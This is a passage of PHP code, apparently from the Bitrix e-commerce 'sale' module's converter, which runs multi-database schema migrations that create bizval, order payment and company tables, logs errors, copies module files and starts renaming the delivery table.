				if ($DB->Query("SELECT VALUE_MONEY FROM B_SALE_ORDER_TAX WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_ORDER_TAX CHANGE VALUE_MONEY VALUE_MONEY DECIMAL(18,4) NOT NULL", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_ORDER_TAX ALTER COLUMN VALUE_MONEY DECIMAL(18,4) NOT NULL", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_ORDER_TAX MODIFY VALUE_MONEY NUMBER(18,4)", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
						else
						{
							if (!$DB->Query("declare
									  l_nullable varchar2(1);
									begin
									  select nullable into l_nullable
									  from user_tab_columns
									  where table_name = 'B_SALE_ORDER_TAX'
									  and   column_name = 'VALUE_MONEY';
									  if l_nullable = 'Y' then
										execute immediate 'alter table B_SALE_ORDER_TAX modify (VALUE_MONEY NOT NULL)';
									  end if;
									end;", true))
							{
								$error .= "<br>".$DB->GetErrorMessage();
							}
						}
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: B_SALE_ORDER_TAX",
						"DESCRIPTION" => $error,
					));
				}
				
			}

			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_BIZVAL');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_OTHER_ALTERS');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 9:
			// BIZVAL
			
			if (!$DB->TableExists("b_sale_bizval"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_bizval(
							ID int not null auto_increment,
							CODE_ID int not null,
							PERSON_TYPE_ID int not null,
							ENTITY varchar(50) not null,
							ITEM varchar(255) not null,
							primary key(ID),
							UNIQUE INDEX IX_BSB_SECONDARY (CODE_ID, PERSON_TYPE_ID)
						)
					", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL
									(
										ID INT NOT NULL IDENTITY(1,1),
										CODE_ID INT NOT NULL,
										PERSON_TYPE_ID INT NOT NULL,
										ENTITY VARCHAR(50) NOT NULL,
										ITEM VARCHAR(255) NOT NULL
									)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_BIZVAL ADD CONSTRAINT PK_B_SALE_BIZVAL PRIMARY KEY (ID)", false);
						$DB->Query("CREATE UNIQUE INDEX IX_BSB_SECONDARY ON B_SALE_BIZVAL(CODE_ID, PERSON_TYPE_ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL
									(
										ID NUMBER(18) NOT NULL,
										CODE_ID NUMBER(18) NOT NULL,
										PERSON_TYPE_ID NUMBER(18) NOT NULL,
										ENTITY VARCHAR2(50 CHAR) NOT NULL,
										ITEM VARCHAR2(255 CHAR) NOT NULL,
										PRIMARY KEY (ID)
									)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE UNIQUE INDEX IX_BSB_SECONDARY ON B_SALE_BIZVAL(CODE_ID, PERSON_TYPE_ID)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_BIZVAL INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_BIZVAL_INSERT
									BEFORE INSERT
									ON B_SALE_BIZVAL
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
									        SELECT SQ_B_SALE_BIZVAL.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 9: B_SALE_BIZVAL",
						"DESCRIPTION" => $error,
					));
				}
			}

			if ($DB->type == "MSSQL")
				$DB->Query('ALTER TABLE B_SALE_BIZVAL DROP CONSTRAINT PK_B_SALE_BIZVAL', true);

			if (!$DB->TableExists("b_sale_bizval_code"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_bizval_code(
							ID int not null auto_increment,
							NAME varchar(50) not null,
							DOMAIN char(1) not null,
							GROUP_ID int null,
							SORT int not null default 100,
							primary key(ID),
							UNIQUE INDEX IX_BSBC_NAME (NAME)
						)
					", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_CODE
						(
							ID INT NOT NULL IDENTITY(1,1),
							NAME VARCHAR(50) NOT NULL,
							DOMAIN CHAR(1) NOT NULL,
							GROUP_ID INT NULL,
							SORT INT NOT NULL DEFAULT 100
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_BIZVAL_CODE ADD CONSTRAINT PK_B_SALE_BIZVAL_CODE PRIMARY KEY (ID)", false);
						$DB->Query("CREATE UNIQUE INDEX IX_BSBC_NAME ON B_SALE_BIZVAL_CODE(NAME)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_CODE
						(
							ID NUMBER(18) NOT NULL,
							NAME VARCHAR2(50 CHAR) NOT NULL,
							DOMAIN CHAR(1 CHAR) NOT NULL,
							GROUP_ID NUMBER(18) NULL,
							SORT NUMBER(18) DEFAULT 100 NOT NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE UNIQUE INDEX IX_BSBC_NAME ON B_SALE_BIZVAL_CODE(NAME)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_BIZVAL_CODE INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_BIZVAL_CODE_INSERT
									BEFORE INSERT
									ON B_SALE_BIZVAL_CODE
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
									        SELECT SQ_B_SALE_BIZVAL_CODE.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 9: B_SALE_BIZVAL_CODE",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_bizval_group"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_bizval_group(
								ID int not null auto_increment,
								NAME varchar(50) not null,
								SORT int not null default 100,
								primary key(ID),
								UNIQUE INDEX IX_BSBG_NAME (NAME)
							)
						", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_GROUP
							(
								ID INT NOT NULL IDENTITY(1,1),
								NAME VARCHAR(50) NOT NULL,
								SORT INT NOT NULL DEFAULT 100
							)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_BIZVAL_GROUP ADD CONSTRAINT PK_B_SALE_BIZVAL_GROUP PRIMARY KEY (ID)", false);
						$DB->Query("CREATE UNIQUE INDEX IX_BSBG_NAME ON B_SALE_BIZVAL_GROUP(NAME)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_GROUP
							(
								ID NUMBER(18) NOT NULL,
								NAME VARCHAR2(50 CHAR) NOT NULL,
								SORT NUMBER(18) DEFAULT 100 NOT NULL,
								PRIMARY KEY (ID)
							)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE UNIQUE INDEX IX_BSBG_NAME ON B_SALE_BIZVAL_GROUP(NAME)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_BIZVAL_GROUP INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_BIZVAL_GROUP_INSERT
									BEFORE INSERT
									ON B_SALE_BIZVAL_GROUP
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
									        SELECT SQ_B_SALE_BIZVAL_GROUP.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 9: B_SALE_BIZVAL_GROUP",
						"DESCRIPTION" => $error,
					));
				}
			}
			if (!$DB->TableExists("b_sale_bizval_parent"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_bizval_parent(
							ID int not null auto_increment,
							NAME varchar(50) not null,
							LANG_SRC varchar(255) null,
							primary key(ID),
							UNIQUE INDEX IX_BSBP_NAME (NAME)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_PARENT
						(
							ID INT NOT NULL IDENTITY(1,1),
							NAME VARCHAR(50) NOT NULL,
							LANG_SRC VARCHAR(255) NULL
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_BIZVAL_PARENT ADD CONSTRAINT PK_B_SALE_BIZVAL_PARENT PRIMARY KEY (ID)", false);
						$DB->Query("CREATE UNIQUE INDEX IX_BSBP_NAME ON B_SALE_BIZVAL_PARENT(NAME)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_PARENT
						(
							ID NUMBER(18) NOT NULL,
							NAME VARCHAR2(50 CHAR) NOT NULL,
							LANG_SRC VARCHAR2(255 CHAR) NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE UNIQUE INDEX IX_BSBP_NAME ON B_SALE_BIZVAL_PARENT(NAME)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_BIZVAL_PARENT INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_BIZVAL_PARENT_INSERT
									BEFORE INSERT
									ON B_SALE_BIZVAL_PARENT
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
									        SELECT SQ_B_SALE_BIZVAL_PARENT.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 9: B_SALE_BIZVAL_PARENT",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_bizval_codeparent"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("create table if not exists b_sale_bizval_codeparent
						(
							CODE_ID int not null,
							PARENT_ID int not null,
							primary key(CODE_ID, PARENT_ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_CODEPARENT
						(
							CODE_ID INT NOT NULL,
							PARENT_ID INT NOT NULL
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_BIZVAL_CODEPARENT ADD CONSTRAINT PK_B_SALE_BIZVAL_CODEPARENT PRIMARY KEY (CODE_ID, PARENT_ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_CODEPARENT
						(
							CODE_ID NUMBER(18) NOT NULL,
							PARENT_ID NUMBER(18) NOT NULL,
							PRIMARY KEY (CODE_ID, PARENT_ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 9: B_SALE_BIZVAL_CODEPARENT",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_bizval_persondomain"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("create table if not exists b_sale_bizval_persondomain
						(
							PERSON_TYPE_ID int not null,
							DOMAIN char(1) not null,
							primary key(PERSON_TYPE_ID, DOMAIN)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_PERSONDOMAIN
						(
							PERSON_TYPE_ID INT NOT NULL,
							DOMAIN CHAR(1) NOT NULL,
							PRIMARY KEY (PERSON_TYPE_ID, DOMAIN)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_BIZVAL_PERSONDOMAIN
						(
							PERSON_TYPE_ID INT NOT NULL,
							DOMAIN CHAR(1) NOT NULL
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_BIZVAL_PERSONDOMAIN ADD CONSTRAINT PK_B_SALE_BIZVAL_PERSONDOMAIN PRIMARY KEY (PERSON_TYPE_ID, DOMAIN)", false);
					}
				}
				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 9: B_SALE_BIZVAL_PERSONDOMAIN",
						"DESCRIPTION" => $error,
					));
				}
			}
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_OTHER_CREATE');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_BIZVAL');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 10:	
			// OTHER CREATE
			if (!$DB->TableExists("b_sale_status_group_task"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_status_group_task(
										STATUS_ID char(2) not null,
										GROUP_ID int(18) not null,
										TASK_ID int(18) not null,
										primary key (STATUS_ID, GROUP_ID, TASK_ID)
									)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_status_group_task
									(
										STATUS_ID CHAR(2) NOT NULL,
										GROUP_ID INT NOT NULL,
										TASK_ID INT NOT NULL
									)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query('ALTER TABLE b_sale_status_group_task ADD CONSTRAINT pk_b_sale_status_group_task PRIMARY KEY (STATUS_ID, GROUP_ID, TASK_ID)', false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE b_sale_status_group_task
									(
										STATUS_ID CHAR(2 CHAR) NOT NULL,
										GROUP_ID NUMBER(18) NOT NULL,
										TASK_ID NUMBER(18) NOT NULL,
										PRIMARY KEY (STATUS_ID, GROUP_ID, TASK_ID)
									)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 10: b_sale_status_group_task",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_order_payment"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_order_payment(
							ID INT(11) NOT NULL AUTO_INCREMENT,
							ORDER_ID INT(11) NOT NULL,
							ACCOUNT_NUMBER varchar(100) null,
							PAID CHAR(1) NOT NULL DEFAULT 'N',
							DATE_PAID DATETIME NULL DEFAULT NULL,
							EMP_PAID_ID INT(11) NULL DEFAULT NULL,
							PAY_SYSTEM_ID INT(11) NOT NULL,
							PS_STATUS CHAR(1) NULL DEFAULT NULL,
							PS_STATUS_CODE CHAR(5) NULL DEFAULT NULL,
							PS_STATUS_DESCRIPTION VARCHAR(250) NULL DEFAULT NULL,
							PS_STATUS_MESSAGE VARCHAR(250) NULL DEFAULT NULL,
							PS_SUM DECIMAL(18,4) NULL DEFAULT NULL,
							PS_CURRENCY CHAR(3) NULL DEFAULT NULL,
							PS_RESPONSE_DATE DATETIME NULL DEFAULT NULL,
							PAY_VOUCHER_NUM VARCHAR(20) NULL DEFAULT NULL,
							PAY_VOUCHER_DATE DATE NULL DEFAULT NULL,
							DATE_PAY_BEFORE DATETIME NULL DEFAULT NULL,
							DATE_BILL DATETIME NULL DEFAULT NULL,
							XML_ID VARCHAR(255) NULL DEFAULT NULL,
							SUM DECIMAL(18,4) NOT NULL,
							CURRENCY CHAR(3) NOT NULL,
							PAY_SYSTEM_NAME VARCHAR(128) NOT NULL,
							RESPONSIBLE_ID int(11) DEFAULT NULL,
							DATE_RESPONSIBLE_ID datetime DEFAULT NULL,
							EMP_RESPONSIBLE_ID int(11) DEFAULT NULL,
							COMMENTS text,
							COMPANY_ID int(11) DEFAULT NULL,
							PAY_RETURN_DATE date DEFAULT NULL,
							EMP_RETURN_ID INT(11) NULL DEFAULT NULL,
							PAY_RETURN_NUM VARCHAR(20) DEFAULT NULL,
							PAY_RETURN_COMMENT text,
							IS_RETURN CHAR(1) NOT NULL DEFAULT 'N',
							PRIMARY KEY (ID),
							INDEX IX_BSOP_ORDER_ID (ORDER_ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_PAYMENT(
							ID INT NOT NULL IDENTITY(1, 1),
							ORDER_ID INT NOT NULL,
							ACCOUNT_NUMBER varchar(100) NULL,
							PAID CHAR(1) NOT NULL DEFAULT 'N',
							DATE_PAID DATETIME NULL,
							EMP_PAID_ID INT NULL,
							PAY_SYSTEM_ID INT NOT NULL,
							PS_STATUS CHAR(1) NULL,
							PS_STATUS_CODE CHAR(5) NULL,
							PS_STATUS_DESCRIPTION VARCHAR(250) NULL,
							PS_STATUS_MESSAGE VARCHAR(250) NULL,
							PS_SUM DECIMAL(18,4) NULL,
							PS_CURRENCY CHAR(3) NULL,
							PS_RESPONSE_DATE DATETIME NULL,
							PAY_VOUCHER_NUM VARCHAR(20) NULL,
							PAY_VOUCHER_DATE DATE NULL,
							DATE_PAY_BEFORE DATETIME NULL,
							DATE_BILL DATETIME NULL,
							XML_ID VARCHAR(255) NULL,
							SUM DECIMAL(18,4) NOT NULL,
							CURRENCY CHAR(3) NOT NULL,
							PAY_SYSTEM_NAME VARCHAR(128) NOT NULL,
							RESPONSIBLE_ID INT NULL,
							DATE_RESPONSIBLE_ID datetime NULL,
							EMP_RESPONSIBLE_ID int NULL,
							COMMENTS text,
							COMPANY_ID int NULL,
							PAY_RETURN_DATE date DEFAULT NULL,
							EMP_RETURN_ID INT NULL,
							PAY_RETURN_NUM VARCHAR(20) DEFAULT NULL,
							PAY_RETURN_COMMENT text,
							IS_RETURN CHAR(1) NOT NULL DEFAULT 'N'
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_BSOP_ORDER_ID ON B_SALE_ORDER_PAYMENT(ORDER_ID)", false);
						// $DB->Query("CREATE UNIQUE INDEX IXS_PAY_ACCOUNT_NUMBER ON B_SALE_ORDER_PAYMENT(ACCOUNT_NUMBER)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_PAYMENT(
							ID NUMBER(18) NOT NULL,
							ORDER_ID NUMBER(18) NOT NULL,
							ACCOUNT_NUMBER VARCHAR2(100 CHAR) NULL,
							PAID CHAR(1 CHAR) DEFAULT 'N' NOT NULL,
							DATE_PAID DATE NULL,
							EMP_PAID_ID NUMBER(18) NULL,
							PAY_SYSTEM_ID NUMBER(18) NOT NULL,
							PS_STATUS CHAR(1 CHAR) NULL,
							PS_STATUS_CODE CHAR(5 CHAR) NULL,
							PS_STATUS_DESCRIPTION VARCHAR2(250 CHAR) NULL,
							PS_STATUS_MESSAGE VARCHAR2(250 CHAR) NULL,
							PS_SUM DECIMAL(18,4) NULL,
							PS_CURRENCY CHAR(3 CHAR) NULL,
							PS_RESPONSE_DATE DATE NULL,
							PAY_VOUCHER_NUM VARCHAR2(20 CHAR) NULL,
							PAY_VOUCHER_DATE DATE NULL,
							DATE_PAY_BEFORE DATE NULL,
							DATE_BILL DATE NULL,
							XML_ID VARCHAR2(255 CHAR) NULL,
							SUM DECIMAL(18,4) NOT NULL,
							CURRENCY CHAR(3 CHAR) NOT NULL,
							PAY_SYSTEM_NAME VARCHAR2(128 CHAR) NOT NULL,
							RESPONSIBLE_ID NUMBER(18) NULL,
							DATE_RESPONSIBLE_ID date NULL,
							EMP_RESPONSIBLE_ID NUMBER(18) NULL,
							COMMENTS clob,
							COMPANY_ID NUMBER(18) NULL,
							PAY_RETURN_DATE date NULL,
							EMP_RETURN_ID NUMBER(18) NULL,
							PAY_RETURN_NUM VARCHAR2(20 CHAR) NULL,
							PAY_RETURN_COMMENT clob,
							IS_RETURN CHAR(1 CHAR) DEFAULT 'N' NOT NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_BSOP_ORDER_ID ON B_SALE_ORDER_PAYMENT(ORDER_ID)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_PAYMENT INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_ORDER_PAYMENT_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_PAYMENT
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
									        SELECT SQ_B_SALE_ORDER_PAYMENT.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);
						// $DB->Query("CREATE UNIQUE INDEX IXS_PAY_ACCOUNT_NUMBER ON B_SALE_ORDER_PAYMENT(ACCOUNT_NUMBER)", false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 10: B_SALE_ORDER_PAYMENT",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_company"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_company(
							ID int not null auto_increment,
							NAME varchar(128) not null,
							LOCATION_ID varchar(128) not null,
							CODE varchar(45) null,
							XML_ID varchar(45) null,
							ACTIVE char(1) not null default 'Y',
							DATE_CREATE datetime null,
							DATE_MODIFY datetime null,
							CREATED_BY int null,
							MODIFIED_BY int null,
							ADDRESS VARCHAR(255) NULL,
							primary key(ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_COMPANY
						(
							ID NUMBER(18) NOT NULL,
							NAME VARCHAR2(128 CHAR) NOT NULL,
							LOCATION_ID VARCHAR2(128 CHAR) NOT NULL,
							CODE VARCHAR2(45 CHAR) NULL,
							XML_ID VARCHAR2(45 CHAR) NULL,
							ACTIVE CHAR(1 CHAR) DEFAULT 'Y' NOT NULL,
							DATE_CREATE DATE NULL,
							DATE_MODIFY DATE NULL,
							CREATED_BY NUMBER(18) NULL,
							MODIFIED_BY NUMBER(18) NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE SEQUENCE SQ_B_SALE_COMPANY INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_COMPANY_INSERT
									BEFORE INSERT
									ON B_SALE_COMPANY
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
									        SELECT SQ_B_SALE_COMPANY.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_COMPANY
						(
							ID int NOT NULL IDENTITY(1,1),
							NAME varchar(128) NOT NULL,
							LOCATION_ID varchar(128) NOT NULL,
							CODE varchar(45) NULL,
							XML_ID varchar(45) NULL,
							ACTIVE char(1) NOT NULL CONSTRAINT DF_B_SALE_COMPANY_ACTIVE DEFAULT 'Y',
							DATE_CREATE DATETIME NULL,
							DATE_MODIFY DATETIME NULL,
							CREATED_BY INT NOT NULL,
							MODIFIED_BY INT NULL
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_COMPANY ADD CONSTRAINT PK_B_SALE_COMPANY PRIMARY KEY (ID)", false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 10: B_SALE_COMPANY",
						"DESCRIPTION" => $error,
					));
				}
			}
			
			ob_start();			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_COPY_FILES');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_OTHER_CREATE');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 11:
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/distr', $_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale', true, true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/distr', $_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_DELIVERY_CONVERT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_COPY_FILES');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
								
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "STEP 11: COPY DISTR",
					"DESCRIPTION" => 'COPY FILES ERROR',
				));
			}
			
			$result['DATA'] = $message;
			break;

		case 12:

			require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/lib/internals/input.php");
			require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/lib/delivery/services/table.php");

			try
			{				
				if($DB->TableExists("b_sale_delivery") && !$DB->TableExists("b_sale_delivery_old"))
				{
					$start = microtime(true);				
					$res = CSaleDelivery::convertToNew();

					if($res->isSuccess())
					{
						if ($DB->type == "MYSQL")
						{
							if (!$DB->Query("ALTER TABLE b_sale_delivery RENAME b_sale_delivery_old", true))
								$error .= "<br>".$DB->GetErrorMessage();

						}
						elseif ($DB->type == "MSSQL")
						{
							if (!$DB->Query("sp_rename B_SALE_DELIVERY, B_SALE_DELIVERY_OLD", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}
						elseif ($DB->type == "ORACLE")
						{
